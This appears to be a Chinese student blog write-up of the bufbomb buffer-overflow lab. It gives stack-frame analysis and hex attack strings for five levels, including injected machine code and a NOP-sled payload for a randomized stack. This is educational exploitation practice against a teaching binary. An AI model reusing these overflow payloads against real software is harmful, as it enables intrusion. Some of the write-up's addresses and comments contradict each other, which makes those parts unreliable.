计算机组成原理 / 反汇编实验(3)缓冲区溢出攻击

计算机组成原理 / 反汇编实验(3)缓冲区溢出攻击

目录

    • 实验概述

    • 实验内容

      • 3.2.1 阶段1 Smoke
      • 3.2.2 阶段2 Fizz
      • 3.2.3 阶段3 Bang
      • 3.2.4 阶段4 Boom
      • 3.2.5 阶段5 Nitro

实验概述

实验目的:加深对IA-32函数调用规则和栈结构的具体理解。
实验目标:对一个可执行程序“bufbomb”实施一系列缓冲区溢出攻击。
实验要求:设法通过造成缓冲区溢出来改变该可执行程序的运行内存映像,继而执行一些原来程序中没有的行为,例如将给定的字节序列插入到其本不应出现的内存位置等。
实验语言:c。
实验环境:linux

实验内容

实验中你需要对目标可执行程序BUFBOMB分别完成5个难度递增的缓冲区溢出攻击。5个难度级分别命名为Smoke(level 0)、Fizz(level 1)、Bang(level 2)、Boom(level 3)和Nitro(level 4),其中Smoke级最简单而Nitro级最困难。

前置指令

cd /home/belly/Desktop  #导到当前目录
objdump -d bufbomb > bufbomb.s #这条命令会将bufbomb的反汇编输出重定向到bufbomb.s文件中。
./makecookie 2212080063
gedit  ./bufbomb.s         #用gedit查看bomb文件
gcc -m32 bang_qbw.s
objdump -d bang_qbw.o
cat attack5.txt | ./hex2raw | ./bufbomb -u 2212080063    

Userid: **********
Cookie: 0x1d228b91

实验步骤

1、在linux下解压buflab-handout.zip

2、采用objdump对bufbomb,生成反汇编文件,比如bufbomb.s,在压缩包中已经提供了一个bufbomb.txt,但是最好在自己的运行环境中执行一下,生成适应自己环境的代码

首先,你需要有一个编译好的bufbomb目标文件。你可以使用gcc或其他C编译器来生成这个文件。
然后,你可以使用objdump命令来生成反汇编文件。基本的命令格式如下1234:
objdump -d bufbomb > bufbomb.s
这条命令会将bufbomb的反汇编输出重定向到bufbomb.s文件中。
如果你希望在反汇编的同时,将反汇编代码与源代码交替显示,你需要在编译目标文件时加上-g参数,以获取调试信息,然后使用-S选项1234:
gcc -g -o bufbomb bufbomb.c
objdump -S bufbomb > bufbomb.s
这样,bufbomb.s文件中就会包含源代码和反汇编代码的混合显示。

3、分析第一步的要求,此处涉及到的是smoke函数和getbuf函数,从反汇编文件中找到相应的代码和地址

4、用vim和gedit生成破解的数据文本文件,压缩包中提供了一个文件smoke_hy

5、将该文本文件转为二进制文件(hex2raw存在不兼容,不能执行),可以用工具h2r(源程序为h2r.c)完成转换:  

     ./h2r smoke_hy smoke_raw

对于转换的结果,可以用 xxd ./smoke_raw 查看文件内容,h2r就是将文本内容转为了二进制内容

6、验证,bufbomb需要提供一个用户id,此处可要求同学们用自己的学号做为唯一标识,我在此使用hy,下面提供了两种方式将数据传送给执行文件:

./bufbomb -u 2212080063 < smoke_raw
cat ./smoke_raw | ./bufbomb -u 2212080063

3.2.1 阶段1 Smoke

  1. 任务描述:构造一个攻击字符串作为bufbomb的输入,而在getbuf()中造成缓冲区溢出,使得getbuf()返回时不是返回到test函数继续执行,而是转向执行smoke

  2. 实验设计:设计攻击字符串用来覆盖getbuf函数内的数组buf,进而溢出并覆盖ebp和ebp上面的返回地址。

  3. 实验过程:
    在bufbomb的反汇编源代码中找到smoke函数,记下它的开始地址,如图3.1.1所示:
    在这里插入图片描述
    可以看见smoke函数首地址为0x8048c18。同样在bufbomb的反汇编源代码中找到getbuf函数,观察它的栈帧结构,如图3.1.2所示:
    在这里插入图片描述
    可以看到getbuf的栈帧是0x38+4个字节,而buf缓冲区的大小是0x28(40个字节)。所以构建攻击字符串的大小应该是0x28+4+4=48个字节。攻击字符串的最后4个字节应是smoke函数的地址。这样的攻击字符串如所示:

    attack1.txt
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 8c 04 08
    ;前面总共44个00
    ;08048c18是对应smoke地址
    ;该答案不受其他因素影响
    
  4. 实验结果:
    如图3.1.4所示,阶段一成功!
    外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

3.2.2 阶段2 Fizz

  1. 任务描述:构造一个攻击字符串作为bufbomb的输入,而在getbuf()中造成缓冲区溢出,使得getbuf()返回时不是返回到test函数继续执行,而是转向执行fizz()

  2. 实验设计:设计攻击字符串用来覆盖getbuf函数内的数组buf,进而溢出并覆盖ebp和ebp上面的返回地址以及传入fizz的cookie值。

  3. 实验过程:
    在bufbomb的反汇编源代码中找到fizz函数,记下它的开始地址以及调用参数时的关于ebp偏移量,如图3.2.1所示:
    在这里插入图片描述
    可以看见fizz函数首地址为0x8048c42,而且参数存放在[ebp+0x8]处。通过makecookie制造自己的cookie值,如图3.2.2
    外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 42 8c 04 08 00 00 00 00 91 8b 22 1d
    ; 44个00  fizz首地址 4个00  cookie
    ;上述都为固定值,只有cookie不同
    
  4. 实验结果:如图3.2.4所示,阶段二成功!
    外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

3.2.3 阶段3 Bang

  1. 任务描述:设计包含攻击代码的攻击字符串,所含攻击代码首先将全局变量global_value设置为你的cookie值,然后转向执行bang()。
  2. 实验设计:设计攻击字符串用来覆盖getbuf函数内的数组buf,进而溢出并覆盖ebp和ebp上面的返回地址,同时攻击字符串在覆盖缓冲区时写入函数的栈帧,当被调用函数返回时,将转向执行这段攻击代码。
  3. 实验过程:
    在bufbomb的反汇编源代码中找到bang函数,记下它的开始地址以及调用全局变量时的偏移地址,如图3.3.1所示:
    在这里插入图片描述
    可以看见bang函数首地址为0x8048c9d,然后利用x命令来判断一些参数存放在0x804d100还是0x804d108处,如图3.3.2所示,其初始值均为0,而程序运行时cookie地址上的内容会变为cookie的值(如图3.3.3),我们需要做的就是,在程序运行时将global_value的值设置为cookie的值;
    外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
    于是攻击字符串中代码部分应该如图3.3.4所示:
    外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
    下面将bang_qbw.s文件编译再反编译之后,即可得到恶意代码的字节序列,如图3.3.5所示;
    外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
    然后寻找栈桢中字符串存放的起始地址即ebp-0x28=0x55683df0-0x28=0x55683dc8,如图3.3.6所示:
    外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
    于是攻击字符串如图3.3.7所示(等价的写法):
    外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
    其中最后4个字节0x55683698就是攻击代码存放的首地址。
attack3.txt
c7 04 25 00 d1 04 08  ;c7 04 25 cookie 
91 8b 22 1d
68 9d 8c 04 08        ;固定值 bang函数地址
c3
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 98 36 68 55 ;27个00 攻击代码地址 固定值
;上述都为固定值,只有cookie不同
  1. 实验结果:如图3.3.8所示,阶段三成功!
    外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

3.2.4 阶段4 Boom

  1. 任务描述:构造一个攻击字符串,使得getbuf函数不管获得什么输入,都能将正确的cookie值返回给test函数,而不是返回值1

  2. 实验设计:设计攻击字符串用来覆盖getbuf函数内的数组buf,进而溢出并覆盖ebp和ebp上面的返回地址,同时攻击字符串在覆盖缓冲区时写入函数的栈帧,当被调用函数返回时,将转向执行这段攻击代码。

  3. 实验过程:
    在bufbomb的反汇编源代码中找到test函数,记下它的调用getbuf的下一条语句的地址(0x8048dbe),如图3.4.1所示:
    在这里插入图片描述
    和bang的攻击类似,将getbuf的返回地址赋值为字符串的首地址,如图3.4.2所示,也就是 (%ebp-0x28)=0x55683dc8,并且要在字符串首地址处插入恶意代码。而本题恶意代码要求将cookie的值赋给返回值,也就是%eax,同时继续返回test函数。
    外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
    由于不能破坏栈桢,所以要执行到test函数调用gutbuf后,输入“123456”,观察test函数的栈桢中存放的ebp值,如图3.4.3所示:
    外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
    其中0x08048dbe为getbuf返回值,所以0x55683698为所需要的ebp值。
    由于C语言返回时用eax来作为返回值的,所以攻击字符串中攻击代码部分应该如图3.4.4所示:
    外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
    所以攻击字符串应该如图3.4.5所示:

    attack4.txt
    b8 91 8b 22 1d    ;cooike
    68 be 8d 04 08    ;固定值
    c3    	
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 36 68 55 98 36 68 55 ;不定 不定
    ;前四个字节是上面x/12x 后 最后一行的倒数第二个
    ;最后四个字节是p/x ($ebp-0x28)后的值
    

    其中反选部分就是防止栈破坏被发现而保护的ebp值。

  4. 实验结果:如图3.4.6所示,阶段四成功!
    外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

3.2.5 阶段5 Nitro

  1. 任务描述:与阶段四类似,构造一攻击字符串使得getbufn函数返回cookie值至testn函数,而不是返回值1

  2. 实验设计:设计攻击字符串用来覆盖getbuf函数内的数组buf,进而溢出并覆盖ebp和ebp上面的返回地址,同时攻击字符串要求需要将cookie值设为函数返回值,复原/清除所有被破坏的状态,并将正确的返回位置压入栈中,然后执行ret指令以正确地返回到testn函数。

  3. 实验过程:
    在bufbomb的反汇编源代码中找到getbufn函数,观察它的栈帧结构,如图3.5.1所示:
    在这里插入图片描述
    发现字符串区域变大了很多,而且这次实验不同之处在于栈的位置不确定,显然不可能完全不确定,应该是一定范围内的不确定,仔细思考发现这个区域应该比0x208小,所以可以在攻击字符串中拆入适量的nop指令来达到顺利的执行攻击代码。
    在bufbomb的反汇编源代码中找到testn函数,记下它的调用getbufn的下一条语句的地址(0x8048e3a),如图3.5.2所示:
    在这里插入图片描述
    再来想一想攻击代码该怎么写,其实和level3也差不多,不同的是由于每次ebp的值可能是不同的,所以还原ebp只能相对地址,于是又想到其实每次旧的ebp – 新的ebp = 常数。而这个常数是多少呢,gdb一下,得出0x24。但由于当我们的攻击代码运行时新的ebp的值已被覆盖,所以要另想一个办法间接地得出新的ebp。于是,想到当函数返回时,esp = 新的ebp + 4,得到:
    旧的 ebp – (esp + 4)= 0x24
    旧的 ebp = esp + 0x28
    所以攻击字符串中的攻击代码应该如图3.5.3所示:
    外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
    接下来寻找一个合适的返回地址,首先在getbufn第一行,push ebp中设置断点,如图3.5.4查看ebp的值;打开-n开关,执行五次testn后,观察攻击字符串的开始地址,所以总的攻击字符串如图3.5.5以及3.5.6所示:
    外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  4. 地址依次为0x556834b8、0x55683488、0x55683448、0x55683438、0x55683498,选择其中的最大值0x55683d48:得出答案

    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    
    90 90 90 90 90 90 90 90 ;508个00
    
    67 8d 6c 24 28       
    b8 91 8b 22 1d       ;这里cookie不同	
    68 3a 8e 04 08      	
    c3         
    b8 34 68 55          ;上述五个地址的最大值
    
  5. 实验结果:如图3.5.7所示,阶段五成功!
    外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值